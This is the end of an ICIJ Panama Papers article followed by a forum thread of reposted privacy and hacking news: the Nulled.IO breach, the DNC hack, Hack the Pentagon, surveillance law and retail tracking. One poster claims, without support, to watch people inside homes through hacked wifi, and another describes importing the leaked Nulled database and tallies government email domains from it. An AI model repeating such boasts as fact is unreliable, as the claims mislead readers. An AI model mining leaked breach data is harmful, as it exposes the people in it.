“I told her that I felt like she stole $10,000 from me,” Piola told a hearing officer. In response, Piola said, Holiday “gave me a sob story about how she lost everything” and that “I needed to feel bad for her.”

Holiday disputes that account. She said everyone received a stock certificate. The money Piola invested came from her father, who was a sophisticated investor, Holiday claimed.

“The business died,” Holiday told ICIJ. “Nobody got their money back, including me.”

Almost a year after Mossack Fonseca registered the Panama-based company, Tower Bank notified the law firm it was closing the accounts for Mises Technologies. It had discovered a website dedicated to collecting fraud complaints that had singled out Holiday’s business practices. Mossack Fonseca did a new search and discovered some of the legal filings in the Virginia securities case.

Mises Technologies was “struck off” the register of Panamanian companies in July 2013. It is unclear from Mossack Fonseca’s internal files whether the law firm dropped Holiday and her company because of the Virginia allegations. Holiday said the collectibles business didn’t work out and she herself let the company lapse.

In November 2013, the State Corporation Commission of Virginia fined Holiday $110,000 and banned her from selling securities in the state.

Holiday insists that she was innocent and that the state railroaded her. “It was like the Red Queen’s Court in Alice in Wonderland,” she said.

Desperately waiting

Other legal cases targeting Mossack Fonseca’s U.S. clients have accused them of defrauding hundreds or even thousands of investors. Two of these cases involved links between Indonesia and the Pacific Northwest.

A lawsuit filed in 2009 in U.S. District Court in Washington state claimed that Dressel Investments Ltd., a company incorporated in the British Virgin Islands by Mossack Fonseca, fleeced more than 3,400 Indonesian investors who put their money into what turned out to be, the suit alleged, “a classic Ponzi scheme.” The men and women who exercised control over Dressel Investments or related companies included six Americans living in Utah and Alaska, according to the lawsuit.

The suit was eventually thrown out of federal court when a judge ruled the allegations couldn’t sustain a federal racketeering claim. An investors group representing the alleged victims is now pursuing their claims in state court in Alaska.

Some defendants in the case have settled under undisclosed terms. Others have fought on, denying wrongdoing and in some cases pointing blame at others they said were responsible for any fraud. Some defendants weren’t included in the Alaska case as the litigation moved from federal to state court.

After the collapse of Dressel in early 2007, investors in Indonesia pleaded directly with Mossack Fonseca for help in getting their money back. One investor’s email was titled: “still confused and sad about our saving.” Another investor wrote: “We are still desperately waiting.”

One investor forwarded Mossack Fonseca a letter from the British Virgin Island’s financial investigation agency that said: “It is clear that this is and always was an investment scam.”

Mossack Fonseca resigned as Dressel’s registered agent after getting hit with the initial wave of complaints. While it did not reply to many of the missives from Dressel investors, the firm did recommend to some that they find lawyers, and provided others with contact information for Dressel management.

In the case of another alleged Ponzi scheme with ties to Indonesia, Mossack Fonseca set up two offshore companies linked to Robert Miracle, one of the fraud’s architects. Miracle was a Seattle businessman who told investors he’d worked at NASA and Disney and that his companies were already producing oil and gas in Indonesia. He eventually pleaded guilty to tax evasion and mail fraud in the case in exchange for a 13-year prison sentence.

The Panama Papers show that Mossack Fonseca registered MCube Petroleum Ltd. for Miracle in March 2007 — three months after the State of Washington accused him and a similarly named company registered in Washington state, MCube Petroleum Inc., of violating securities laws.

(https://panamapapers.icij.org/assets/articles/0xDataRelease/160509-mcube-01.jpg)


articles/0xDataRelease/160509-mcube-01.jpg
MCube Petroleum Inc. was accused of defrauding investors. Screenshot via Internet Archive Wayback Machine
MCube Petroleum Inc. and associated companies were part of an enterprise that defrauded hundreds of American investors, federal authorities found.

In late 2007, federal agents served search warrants on Miracle’s home and on MCube Petroleum Inc.’s Seattle offices, seizing computers and 80 boxes of documents. The Seattle Times reported that court records indicated Miracle was being investigated for conspiracy, mail fraud, wire fraud, money laundering, securities fraud and tax evasion.

In July 2008 – months after media reports revealed the investigation into Miracle’s shell games – Mossack Fonseca registered a company called Fivex Trading Ltd. in the British Virgin Islands. Two of the shareholders were listed as Mukhtar Bin Syed Kechik and Fahimi Bin Faisal, two Malaysian fugitives alleged by the FBI to have been Miracle’s partners in the Ponzi scheme.

Another Fivex shareholder listed in Mossack Fonseca’s files is Veronica Naomi Miracle, Robert Miracle’s daughter. She had just graduated high school when she was named as a shareholder in the company.

Veronica Miracle and Robert Miracle declined to comment.

The Panama Papers show that Mossack Fonseca didn’t learn about Robert Miracle’s crimes until 2012, when a database search turned up a record of his conviction. By then, the trail in the hunt for Miracle’s assets had gone cold. Court filings indicated that investors’ losses were likely to top $20 million.

Contributors to this story: Marisa Taylor and Kevin G. Hall of McClatchy Newspapers, Matthew Kish of the Portland Business Journal and Alice Brennan, Alcione Gonzalez and Laura Juncadella of Fusion Investigates
Title: Re: they know what you are doing
Post by: space otter on May 12, 2016, 05:57:09 am
 
 it's looking like these panama papers are  someone's game start.. hummmmmm ,  i wonder how long it will take us to find out whose.?

http://www.huffingtonpost.co.uk/entry/emma-watson-panama-papers-offshore-company-privacy_uk_5732ec08e4b0ade291a29b78

Sarah Ann Harris
News Reporter, The Huffington Post UK
 11/05/2016 10:26


Emma Watson Named In Panama Papers After Using Offshore Company To Protect Her Privacy
She has reportedly been left anxious over her security .


Emma Watson used an offshore company to protect her privacy, it has has been revealed after the star was named in the Panama Papers leaks.

The company, based in the British Virgin islands, was one of thousands of offshore companies that appear in a trove of millions of documents obtained from the Panamanian law firm Mossack Fonseca.

Her name was found by The Spectator among more than 200,000 entities published in a searchable online database by the International Consortium of Investigative Journalists (ICIJ) on Monday.

The Harry Potter actor set up Falling Leaves Limited in 2013 “for the sole purpose of protecting her anonymity and safety”, a spokesman said.

Watson purchased a £2.8 million home in London through the company, the Times reported.

Owning property through an offshore company means that the buyer’s name does not appear on public available Land Registry documents.

The spokesman added: “UK companies are required to publicly publish details of their shareholders and therefore do not give her the necessary anonymity required to protect her personal safety, which has been jeopardised in the past owing to such information being publicly available.

“Offshore companies do not publish these shareholder details. Emma receives absolutely no tax or monetary advantages from this offshore company whatsoever - only privacy.”

According to reports Watson has suffered incidents that left her anxious over her security, including unwanted approaches by fans.

Despite the fact that Watson’s actions were purely for privacy purposes, many on Twitter still mocked her following the revelation...

ICIJ recognised there are legitimate uses for offshore companies and trusts, adding that the presence of an entity in its database did not suggest or imply it had broken the law.

A number of high-profile figures were named in the leak, including David Cameron’s father.

The revelations prompted the Prime Minister and number of other politicians to publish their tax return. The PM’s return confirmed that he and his wife Samantha had made a £19,000 profit on investments in Blairmore Holdings.
Title: Re: they know what you are doing
Post by: space otter on May 17, 2016, 08:24:16 pm


what can you say beside......now THIS is interesting...


Hackers' website breached by hacker



http://www.bbc.com/news/technology-36312352

17 May 2016



(http://ichef.bbci.co.uk/news/660/cpsprodpb/61DB/production/_89715052_nulled_website.jpg)
The Nulled website is currently offline


The email addresses and private messages of more than 470,000 members of a hacking website have been leaked online following a huge data breach.
The Nulled website was a popular marketplace for stolen account details and hacking tips.
The leaked data contained more than 5,000 purchase records relating to the exchange of stolen information.
The site has been taken offline, stating it is undergoing "routine maintenance".

(http://ichef-1.bbci.co.uk/news/624/cpsprodpb/D70B/production/_89715055_63fa.jpg)
Nulled sold access to a VIP message board where cybercriminals could exchange tips

Researchers at Risk Based Security said the data dump contained the "complete forum's database" including 12,600 invoices, usernames, members' PayPal addresses and IP addresses.
It also contained millions of forum posts and private messages detailing illegal activities.
And some of the data could be used to work out members' identities, if they did not take steps to conceal it.

Risk Based Security added the website had used message board software with known vulnerabilities, and the site also used a weak hashing algorithm to protect members' passwords.
The data breach was confirmed by independent security researcher Troy Hunt.
"Data breaches like this remind us that even criminal elements are not immune from having their identities disclosed and released publicly," said Mr Hunt.

"While many of them no doubt took precautions to hide their true identities, inevitably many others will now be feeling very nervous at the prospect of being outed while engaged in fraudulent activities."

Title: Re: they know what you are doing
Post by: robomont on May 17, 2016, 08:44:21 pm
first the cocaine bananas and now this,cia is turning on itself.two factions tearing at each other.about time.
Title: Re: they know what you are doing
Post by: space otter on May 17, 2016, 09:17:05 pm


just for chuckles i wanted to see if the list was posted anywhere I could find it..i haven't yet but interestingly found this

only copying  the very last part





See more at: Info on 500K Users Doxxed in Hacking Forum Dump https://wp.me/p3AjUX-uJ4

For what it’s worth, while combing through the Nulled.IO database, Risk Based Security noticed that 365 users who accessed the site used .edu addresses.
Eight other users accessed the site via .gov addresses, and emails stemming from government domains in Jordan, Brazil, Malaysia, and Turkey. When it comes to the leaked information, it likely won’t be too difficult for anyone, law enforcement included, to connect the dots.

“When services such as Nulled.IO are compromised and data is leaked, often it exposes members who prefer to remain anonymous and hide behind screen names,” the firm wrote Tuesday, “By simply searching by email or IP addresses, it can become evident who might be behind various malicious deeds.” “With this being such a comprehensive dump of data it offers up a very good set of information for matching a member ID to the attached invoices, transactions and other content such as member messages and posts,” the firm warn

See more at: Info on 500K Users Doxxed in Hacking Forum Dump https://wp.me/p3AjUX-uJ4
Title: Re: they know what you are doing
Post by: robomont on May 17, 2016, 09:47:22 pm
people think they can play anon,they cant easily,nsa gets you coming and going.only if you can variable all your id's can you be anon.i think theres 3.isp,mac and one other.plus location.
by now they have list of wanna bees.plus training material such as college classes and books,you have to be trained by a hacker in a dead room to be truly free.
alot of mcaffees exploits are open source,he just has msm backing him.lop hacked the iphone the night before mcaffee released he could.
we got nerds in this country that can do that stuff in the dark while drunk and high on mushrooms.
i just like mind hacking,folks never see it coming,even when you tell them you are about to do it to them.i got lop 3 nights ago,glp a month ago.an undercover cop 2 months ago and i said it to his face.lol.but ive had it done to me too,only difference was they didnt tell me to my face.im more honorable than that.ill straight up tell you.otherwise you invite karma.great article sa!
Title: Re: they know what you are doing
Post by: space otter on May 18, 2016, 07:18:55 pm


ahhhhh everybody wants to get into the act....i guess the world really is a stage ...sigh


http://www.huffingtonpost.com/entry/google-home-watching-you_us_573c87c0e4b0aee7b8e88cdc
 05/18/2016 01:56 pm ET


Andy Campbell
Reporter, The Huffington Post


How Much Will Google Home Be Watching You?
“Always-on” technology is a big privacy concern, and it’s only going to grow.


(http://img.huffingtonpost.com/asset/scalefit_630_noupscale/573ca6a41600006400f93c56.png)
GOOGLE
A Google Home unit in its natural state.
Google is fighting harder than ever to get into your household.

On Wednesday the company announced its entry into the voice-activated virtual assistant race with Google Home, its answer to the Amazon Echo. Google Home promises to live alongside you wherever you reside, answering your questions, playing your music and reading your news, much like its popular rival.

It’ll also have Google search built in, which means it’ll know a lot about you as soon as you sign in.

“We want users to have an ongoing two-way dialogue with Google,” Google CEO Sundar Pichai said at the company’s I/O developer conference on Wednesday.

To be sure, the company already knows where you are, where you live and what you had for dinner this week (assuming you find your recipes through the search engine). And certain features like the location history tool on Google Maps are either super-useful or enough to make you throw on a tinfoil hat, depending on your mood.

According to its makers, Google Home is a sleek little device that will learn your music tastes, your commute and your daily plans — “with your permission, of course,” a spokesman said — and will use that information to tailor itself to your needs.



Google has already cornered the market on collecting your data, though it does offer privacy controls that allow you to opt out of providing certain personal information.

But as concerns grow regarding “always-on” technology and its potential privacy risks, Google will need to assure consumers that it’s not collecting too much information at any given time. Predators can already hack our baby monitors and computer cameras, and as Gizmodo reported this week, the FBI “can neither confirm nor deny“ that it has wiretapped Amazon Echo devices.

Amazon has pushed back by noting that its virtual assistant, Alexa — the “voice” inside the Echo — only “listens” when a user says its wake word, sending the subsequent commands to Amazon servers. You can also turn off the Echo’s microphone, though it’s unclear whether even that could stop the National Security Agency from listening in.

In any case, these devices aren’t going anywhere. Amazon Echo has sold more than 3 million units, and the company’s released an API kit that allows independent developers to add even more functionality.

In terms of sales, Google has plenty of catching up to do. That said, it wasn’t ever trying to win the device game — it’s an advertising company. Its ad revenue rose by 18 percent year-over-year between 2014 and 2015, topping out at $21.2 billion, and it’s aggressively working to make you click on more ads.

tons of embedded links thur the article
Title: Re: they know what you are doing
Post by: robomont on May 18, 2016, 08:33:39 pm
and when all else fails, theres always the wall outlets. theres a reason for them baby safety wall outlet plastic plugs. it aint just for kids safety. lol. sending a high frequency though your wires and then getting a back frequency from vibration is a long held secret,
robo dont like secrets.
then this wifi and cellular is nothing but floodlights, most folks would freak if they new i could ghost through their house with that light. i can watch everything, i mean everything, you do if you have wifi in your house. i can go up and see anything an inch or larger. even if you close your door. just by hacking a wifi and using 3d software. privacy is a joke in the usa.
Title: Re: they know what you are doing
Post by: ArMaP on May 19, 2016, 06:04:58 am
then this wifi and cellular is nothing but floodlights, most folks would freak if they new i could ghost through their house with that light. i can watch everything, i mean everything, you do if you have wifi in your house. i can go up and see anything an inch or larger. even if you close your door. just by hacking a wifi and using 3d software. privacy is a joke in the usa.
Maybe there's a new market for something like "Faraday cages for your home". :)
Title: Re: they know what you are doing
Post by: ArMaP on May 20, 2016, 01:39:55 pm
See more at: Info on 500K Users Doxxed in Hacking Forum Dump https://wp.me/p3AjUX-uJ4

For what it’s worth, while combing through the Nulled.IO database, Risk Based Security noticed that 365 users who accessed the site used .edu addresses.
Eight other users accessed the site via .gov addresses, and emails stemming from government domains in Jordan, Brazil, Malaysia, and Turkey. When it comes to the leaked information, it likely won’t be too difficult for anyone, law enforcement included, to connect the dots.
After some 16 hours importing the database I had to stop it, so I'm not sure if the 599085 members I see are all the ones in the database or if there were still some that were not imported yet.

From all those I can see only 6 .gov email addresses, some  fake, some not.
g.gov
eastlongmeadowma.gov
honolulu.gov
null.gov
houstontx.gov
nhs.gov

As for the .edu email addresses, I found 213, so I suppose I am missing some members.

Email addresses related to other countries' governments were 26, and it's interesting to see the countries they didn't mention in the article. This is what I got:
United Arab Emirates - 1 (Dubai Municipality)
Saudi Arabia - 1 (Central Department of Statistics)
Turkey - 1 (an email address from the Turkish post company)
VietNam - 1 (Ninh Thu?n province)
Malaysia - 1 (Ministry of Tourism and Culture)
Maldives - 1 (Juvenile Court)
Jordan - 2 (Institution for Standards and Metrology and the Greater Amman Municipality)
Philippines - 3 (Department of Social Welfare and Development, the Oriental Mindoro province and the Technical Education and Skills Development authority)
Australia - 6 (all from the New South Wales Department of Education)
Brazil - 9 (a bank, 6 from something related to the Ministry of Education and the municipality of Vinhedo)

But, after seeing so many fake email addresses, it looks like they accepted any thing that looked like an email address, so even the real ones may have been used by people not connected to the email address.

Interesting, anyway. :)
Title: Re: they know what you are doing
Post by: space otter on June 14, 2016, 06:51:37 pm

what i find interesting/ puzzling about this is that they didn't bother with the repubs..well beside profiling drumpf
edit to correct spelling from drumpt to drumpf

https://www.washingtonpost.com/world/national-security/russian-government-hackers-penetrated-dnc-stole-opposition-research-on-trump/2016/06/14/cf006cb4-316e-11e6-8ff7-7b6c1998b7a0_story.html
By Ellen Nakashima June 14 at 3:09 PM


Russian government hackers penetrated DNC, stole opposition research on Trump

vid

Russian government hackers penetrated the computer network of the Democratic National Committee and gained access to the entire database of opposition research on GOP presidential candidate Donald Trump, according to committee officials and security experts who responded to the breach.

The intruders so thoroughly compromised the DNC’s system that they also were able to read all email and chat traffic, said DNC officials and the security experts.

The intrusion into the DNC was one of several targeting American political organizations. The networks of presidential candidates Hillary Clinton and Donald Trump were also targeted by Russian spies, as were the computers of some Republican political action committees, U.S. officials said. But details on those cases were not available.

A Russian Embassy spokesman said he had no knowledge of such intrusions.

Some of the hackers had access to the DNC network for about a year, but all were expelled over the past weekend in a major computer cleanup campaign, the committee officials and experts said.

[Watch: Ellen Nakashima discusses how Russian hackers hit the Democratic National Committee]

The DNC said that no financial, donor or personal information appears to have been accessed or taken, suggesting that the breach was traditional espionage, not the work of criminal hackers.

The intrusions are an example of Russia’s interest in the U.S. political system and its desire to understand the policies, strengths and weaknesses of a potential future president — much as American spies gather similar information on foreign candidates and leaders.

The depth of the penetration reflects the skill and determination of the United States’ top cyber adversary as Russia goes after strategic targets, from the White House and State Department to political campaign organizations.

[Russian hackers breach some White House computers
https://www.washingtonpost.com/world/national-security/hackers-breach-some-white-house-computers/2014/10/28/2ddf2fa0-5ef7-11e4-91f7-5d89b5e8c251_story.html?tid=a_inl
By Ellen Nakashima October 28, 2014]

“It’s the job of every foreign intelligence service to collect intelligence against their adversaries,” said Shawn Henry, president of CrowdStrike, the cyber firm called in to handle the DNC breach and a former head of the FBI’s cyber division. He noted that it is extremely difficult for a civilian organization to protect itself from a skilled and determined state such as Russia.

“We’re perceived as an adversary of Russia,” he said. “Their job when they wake up every day is to gather intelligence against the policies, practices and strategies of the U.S. government. There are a variety of ways. [Hacking] is one of the more valuable because it gives you a treasure trove of information.”

Russian President Vladimir Putin has spoken favorably about Trump, who has called for better relations with Russia and expressed skepticism about NATO. But unlike Clinton, whom the Russians probably have long had in their spy sights, Trump has not been a politician for very long, so foreign agencies are playing catch-up, analysts say.

“The purpose of such intelligence gathering is to understand the target’s proclivities,” said Robert Deitz, former senior councillor to the CIA director and a former general counsel at the National Security Agency. “Trump’s foreign investments, for example, would be relevant to understanding how he would deal with countries where he has those investments” should he be elected, Deitz said. “They may provide tips for understanding his style of negotiating. In short, this sort of intelligence could be used by Russia, for example, to indicate where it can get away with foreign adventurism.”

[The not-completely-crazy theory that Russia leaked the Panama Papers]

Other analysts noted that any dirt dug up in opposition research is likely to be made public anyway. Nonetheless, DNC leadership acted quickly after the intrusion’s discovery to contain the damage.

“The security of our system is critical to our operation and to the confidence of the campaigns and state parties we work with,” said Rep. Debbie Wasserman Schultz (D-Fla.), the DNC chairwoman. “When we discovered the intrusion, we treated this like the serious incident it is and reached out to CrowdStrike immediately. Our team moved as quickly as possible to kick out the intruders and secure our network.”

[Debbie Wasserman Schultz’s Worst Week in Washington]

Clinton called the intrusion “troubling” in an interview with Telemundo. She also said, “So far as we know, my campaign has not been hacked into,” and added that cybersecurity is an issue that she “will be absolutely focused on” if she becomes president. “Because whether it’s Russia, or China, Iran or North Korea more and more countries are using hacking to steal our information, to use it to their advantage,” she said.

A spokeswoman for the Trump campaign referred questions to the Secret Service.

DNC leaders were tipped to the hack in late April. Chief executive officer Amy Dacey got a call from her operations chief saying that their information technology team had noticed some unusual network activity.

“It’s never a call any executive wants to get, but the IT team knew something was awry,” Dacey said. And they knew it was serious enough that they wanted experts to investigate.

That evening, she spoke with Michael Sussmann, a DNC lawyer who is a partner with Perkins Coie in Washington. Soon after, Sussmann, a former federal prosecutor who handled computer crime cases, called Henry, whom he has known for many years.

Within 24 hours, CrowdStrike had installed software on the DNC’s computers so that it could analyze data that could indicate who had gained access, when and how.

The firm identified two separate hacker groups, both working for the Russian government, that had infiltrated the network, said Dmitri Alperovitch, CrowdStrike co-founder and chief technology officer. The firm had analyzed other breaches by both groups over the past two years.

[U.S. suspects Russia in hack of Pentagon computer network]

One group, which CrowdStrike had dubbed Cozy Bear, had gained access last summer and was monitoring the DNC’s email and chat communications, Alperovitch said.

The other, which the firm had named Fancy Bear, broke into the network in late April and targeted the opposition research files. It was this breach that set off the alarm. The hackers stole two files, Henry said. And they had access to the computers of the entire research staff — an average of about several dozen on any given day.

The computers contained research going back years on Trump. “It’s a huge job” to dig into the dealings of somebody who has never run for office before, Dacey said.

CrowdStrike is not sure how the hackers got in. The firm suspects they may have targeted DNC employees with “spearphishing” emails. These are communications that appear legitimate — often made to look like they came from a colleague or someone trusted — but that contain links or attachments that when clicked on deploy malicious software that enables a hacker to gain access to a computer. “But we don’t have hard evidence,” Alperovitch said.

The two groups did not appear to be working together, Alperovitch said. Fancy Bear is believed to work for the GRU, or Russia’s military intelligence service, he said. CrowdStrike is less sure of whom Cozy Bear works for but thinks it might be the Federal Security Service or FSB, the country’s powerful security agency, which was once headed by Putin.

[How Russian special forces are shaping the fight in Syria]

The lack of coordination is not unusual, he said. “There’s an amazing adversarial relationship” among the Russian intelligence agencies, Alperovitch said. “We have seen them steal assets from one another, refuse to collaborate. They’re all vying for power, to sell Putin on how good they are.”

The two crews have “superb operational tradecraft,” he said. They often use previously unknown software bugs — known as “zero-day” vulnerabilities — to compromise applications. In the DNC’s case, the hackers constantly switched tactics to maintain a stealthy presence inside the network and used built-in Windows tools so that they didn’t have to resort to malicious code that might trigger alerts. “They flew under the radar,” Alperovitch said.

The two groups have hacked government agencies, tech companies, defense contractors, energy and manufacturing firms, and universities in the United States, Canada and Europe as well as in Asia, he said.

Cozy Bear, for instance, compromised the unclassified email systems of the White House, State Department and Joint Chiefs of Staff in 2014, Alperovitch said.

“This is a sophisticated foreign intelligence service with a lot of time, a lot of resources, and is interested in targeting the U.S. political system,” Henry said. He said the DNC was not engaged in a fair fight. “You’ve got ordinary citizens who are doing hand-to-hand combat with trained military officers,” he said. “And that’s an untenable situation.”

Russia has always been a formidable foe in cyberspace, but in the past two years, “there’s been a thousand-fold increase in its espionage campaign against the West,” said Alperovitch, who is also a senior fellow at the Atlantic Council. “They feel under siege.”
Western sanctions, imposed after Russia’s annexation of Crimea in Ukraine, have hurt the economy and led the government to increase its theft of intellectual property to limit the impact of import restrictions, he said. And Russia’s growing isolation has increased the need for intelligence to understand and influence political decisions in other countries, he added.

CrowdStrike is continuing the forensic investigation, said Sussmann, the DNC lawyer. “But at this time, it appears that no financial information or sensitive employee, donor or voter information was accessed by the Russian attackers,” he said.

The firm has installed special software on every computer and server in the network to detect any efforts by the Russian cyberspies to break in again. “When they get kicked out of the system,” Henry predicted, “they’re going to try to come back in.”

Tom Hamburger contributed to this report.
Title: Re: they know what you are doing
Post by: space otter on June 19, 2016, 06:54:47 am

dang.. must be old age creepin in cause i can't remeber where i stuck the add for folks to try and hack the gov..grrrrrrr..anywho here's some of the  progress

http://www.msn.com/en-us/news/us/teen-hacks-pentagon-websites-gets-thanked-for-finding-bugs/ar-AAhgHRX?li=BBnb7Kz
Reuters
Idrees Ali
21 hrs ago

Teen hacks Pentagon websites, gets thanked for finding 'bugs'


High school student David Dworken spent 10 to 15 hours between classes on his laptop, hacking U.S. Defense Department websites.

Instead of getting into trouble, the 18-year-old who graduated this week was one of two people praised by Secretary of Defense Ash Carter at the Pentagon on Friday for finding vulnerabilities before U.S. adversaries did.

"We know that state-sponsored actors and black-hat hackers want to challenge and exploit our networks ... what we didn't fully appreciate before this pilot was how many white hat hackers there are who want to make a difference," Carter said at a ceremony where he also thanked Craig Arendt, a security consultant at Stratum Security.

More than 1,400 participants took part in a pilot project launched this year, and found 138 valid reports of vulnerabilities, the Pentagon said. The project invited hackers to test the cyber security of some public Defense Department websites.

The pilot project was limited to public websites and the hackers did not have access to highly sensitive areas.

The U.S. government has pointed the finger at China and Russia, saying they have tried to access government systems in the past.

The Pentagon said it paid a total of about $75,000 to the successful hackers, in amounts ranging from $100 to $15,000.

Dworken, who graduated on Monday from Maret high school in Washington, D.C., said he reported six vulnerabilities, but received no reward because they had already been reported.

However, Dworken said he had already been approached by recruiters about potential internships.

He said some of the bugs he found would have allowed others to display whatever they wanted on the websites and steal account information.

Dworken, who will study computer science at Northeastern University, said his first experience with finding vulnerabilities was in 10th grade when he found bugs on his school website.

"Hack the Pentagon" is modeled after similar competitions known as "bug bounties" conducted by U.S. companies to discover network security gaps.

The Pentagon said the pilot project cost $150,000, including the reward money, and several follow up initiatives were planned. This included creating a process so others could report vulnerabilities without fear of prosecution.

"It's not a small sum, but if we had gone through the normal process of hiring an outside firm to do a security audit and vulnerability assessment, which is what we usually do, it would have cost us more than $1 million," Carter said.

(Reporting by Idrees Ali; Editing by David Gregorio)


Title: Re: they know what you are doing
Post by: space otter on June 22, 2016, 05:01:27 pm

https://news.vice.com/article/republicans-are-coming-for-your-browsing-histories-not-your-guns

Republicans are coming for your browsing histories, not your guns
By Tess Owen
June 21, 2016 | 6:05 pm

Congressional Republicans have a plan to prevent deadly attacks like the Orlando nightclub massacre from happening again: Give the FBI easy access to citizens' browsing history and email data without the hassle of having to obtain a warrant first.

Arizona Senator John McCain filed an amendment to the Commerce, Justice, Science Appropriations Act on Monday night that would do exactly that, on the same day that many lawmakers voted against measures which would keep AR-15s out of the hands of potentially dangerous Americans.

"In the wake of the tragic massacre in Orlando, it is important our law enforcement have the tools they need to conduct counterterrorism investigations and track 'lone wolves'" McCain wrote in a statement.

So far, authorities investigating Orlando gunman Omar Mateen have concluded that he was a "lone wolf" actor who self-radicalized from consuming extremist propaganda online.

As a provision of the Patriot Act, which was passed after 9/11, the FBI can, without a warrant, force banks, phone companies, internet businesses, and others to hand over a customer's name, address, and billing records. But it needs a warrant to access citizens' email metadata, like details about who sent or received an email and when they sent it. The FBI also cannot access a citizen's web browsing history information without a warrant.

McCain's amendment would allow the FBI access to people's browsing histories and email metadata by broadening the scope of administrative subpoenas known as National Security Letters (NSL).

Related: 'Make It Look Like It's ISIS': A Fake Bomb, a Would-Be Terrorist, and an FBI Sting in Miami

To put it simply, if the FBI wants to know what time you logged out of your Facebook account, they just need to submit an NSL to Facebook and demand they hand over that information. Often, companies like Google or Facebook will be under a gag order. They could be sharing information about your (not-so-private) online activities with federal agents, and you would be none the wiser.

McCain's amendment would also make permanent a section of the Intelligence Reform and Terrorism Prevention Act of 2004, also known as "the lone wolf provision."

Neema Singh Guliani, legislative counsel for the American Civil LIberties Union, co-wrote a letter to US senators urging them to oppose the amendment on Wednesday, when it is scheduled for a vote. But, she told VICE News, it's difficult to predict which way the Senate will vote.

"It's hard to know post-Orlando," Guliani said. "The dynamics can be different, people can be reactive, and there's often a push to get things through without proper debate or consideration... or recognizing the dangers and how concerning it is."

"[McCain's amendment] isn't a solution," Guliani added. "It's the opposite. It increases dangers for American liberties."

"This would strip out all the protections and buffers between [the government] and everyday citizens. It would allow the FBI to get this information with just a subpoena, under a shroud of secrecy. You may never know. These subpoenas are often accompanied by gag orders," Guliani said. "Abuses stay hidden."

In the letter, the ACLU says their concerns for the proposed amendment are "compounded by the government's history of abusing the NSL statute."

Related: FBI Director James Comey Links 'Viral Video Effect' to Spike in Crime Rates

"In the past ten years, the FBI has issued over 300,000 NSLs, a vast majority of which included gag orders that prevented companies from disclosing that they received a request for information," the letter states. "An audit by the Office of the Inspector General (IG) at the Department of Justice in 2007 found that the FBI illegally used NSLs to collect information that was not permitted by the NSL statutes."

Lawmakers previously attempted to pass the provision by sneaking it into a secretive Senate intelligence bill last month.

Earlier this year, FBI director James Comey made it clear that getting the spy bill passed was a priority for the agency, and was criticized for presenting it as a mere "typo," downplaying the ramifications it would really have on American privacy.

"We do know that where the FBI is concerned, they generally don't stop pushing for what they want until they get it," Robyn Greene, policy counsel at the Open Technology Institute, wrote in February. "Even if it takes decades, they tend to wait for an opportune moment to push their agenda over the finish line or they simply wear Congress down until it gives them what they want."

Other Republicans who blessed McCain's insertion of the provision into the Commerce bill today included North Carolina Senator Richard Burr, Texas Senator John Cornyn, Alabama Senator Jeff Sessions and Senate Majority Leader Mitch McConnell.

Follow Tess Owen on Twitter: @misstessowen
Title: Re: they know what you are doing
Post by: space otter on September 25, 2016, 08:26:33 am


as i read this i thought..everyone  know this..right?..well just in case you might have missed a point or two..i'm posting it


http://www.msn.com/en-us/money/technology/8-ways-retailers-are-tracking-your-every-move/ar-BBwyq8M?li=BBnbfcL&ocid=U348DHP


Money
8 Ways Retailers Are Tracking Your Every Move




Paul Michael/Wise Bread

vid at link

Have you ever wondered how some retailers seem to have a sixth sense when it comes to the things you need, or want? How did they know you were looking for a pair of heels, or a crib? Was it incredible guesswork that they sent coupons for luggage just as you started planning a vacation? The answer is no. It’s not luck, or guesswork, or a coincidence. Retailers have many methods available to them to learn, track, and take advantage of your personal shopping habits. Here are eight that you may never have considered.
1. Store Loyalty Cards
Have you ever wondered why certain discounts and promotions are available only to loyalty card holders, when the cards are completely free to get? Well, this is one of the prime ways retailers — grocery stores in particular — can track your spending habits. You’ll notice the effect instantly when the receipt machine spews out a whole bunch of coupons for you after you pay for your groceries. These are coupons based on what you have just bought, and what you have purchased in the past. And as the coupons are printed on demand, they are different for every customer.

But it’s not just about food and household supplies. When you buy a more expensive item, say a big screen TV, a carpet shampooer, or a piece offurniture, the store stores that data, too. Soon, you’ll get email offers and mailed coupons for discounts on TV mounts, cleaning supplies, and furniturepolish. If you’ve tied your loyalty card to an email and phone number, you could get coupons in your inbox, or as a text. And the more you shop, the more they know about you, and the more they can target you with specific offers designed to get you spending.



2. Your Phone Number
When you reach the checkout in many stores, you will be asked for yourphone number. Most people just give it out without even thinking. If you ask why, you will probably be told something like, “we just like to know where in the state our customers are coming from.” While that’s not untrue, there is way more to it than that. It’s also another reason loyalty programs like to tie your phone number and email address to the card.

Once you give up that phone number, you are handing over all of your purchasing information to the retailer. And if that retailer is very savvy, such asTarget, they can analyze it with some sophisticated software to discover just what your future may hold, and how they can be there for you. Take the example of a young woman who was buying things that Target associates with an upcoming pregnancy (for example, cocoa-butter lotion, magnesium supplements, a large purse, and a powder blue rug). Target sent this girl a circular featuring a lot of maternity clothing and baby furniture. Her parents were furious, until they found out later that she was actually pregnant. As reported by Forbes, Target knew about the baby before the girl’s own parents did. And Target also assigns every single customer with a “pregnancy prediction score.” Scary? Many people think so.



3. Your Smartphone
This is not about the phone number, but the technology used in yoursmartphone. Through a technique known as geofencing, which uses Wi-Fi and/or Bluetooth, retailers are automatically alerted to your presence as you approach, enter, and browse the store. And once again, Target is one of those retailers that is on the cutting edge of this technology.

If you have an app like Cartwheel installed on your phone, you may notice that offers pop up as you enter the Target store (or, after a few minutes of browsing). This is not a weird coincidence. This is all part of Target’s strategy to get you spending more in their stores. And of course, as they already know a lot about your shopping habits, they can serve up the coupons and offers that are most likely to get you opening your wallet. Make a purchase using the app, and bingo, you have just given even more information to their database. Now they know not only what you’re buying, but how effective their instant offers are; and they can tailor them to be even more successful in the future.



4. Free Wi-Fi
They say nothing is really free, and in this case, it applies to Wi-Fi. We all love free Wi-Fi because it prevents us from eating into our own data plans, and it’s usually a lot faster than 4G. But there is a price to pay for it, and that price is information. It may seem very Orwellian, but these days, stores can use their Wi-Fi service and your phone to track your shopping habits in real-time while in the store. They know which aisles you’re visiting first, which offers keep you occupied the longest, and can even trace the path you take from the entrance to the checkout.

While it’s harder (but not impossible) to capture this data on a person-by-person case, it is usually used as a research tool to help stores improve the shopping experience. If certain aisles are more successful than others, they will know why. If there are areas of overcrowding, they can be fixed. The aim is to get people spending more, and that is most likely to happen when the customer is happier in the store, and ready to peruse for a longer period of time. So the next time you use Wi-Fi anywhere from a bookstore to a warehouse store, remember… your every move could be tracked.



5. Website Cookies
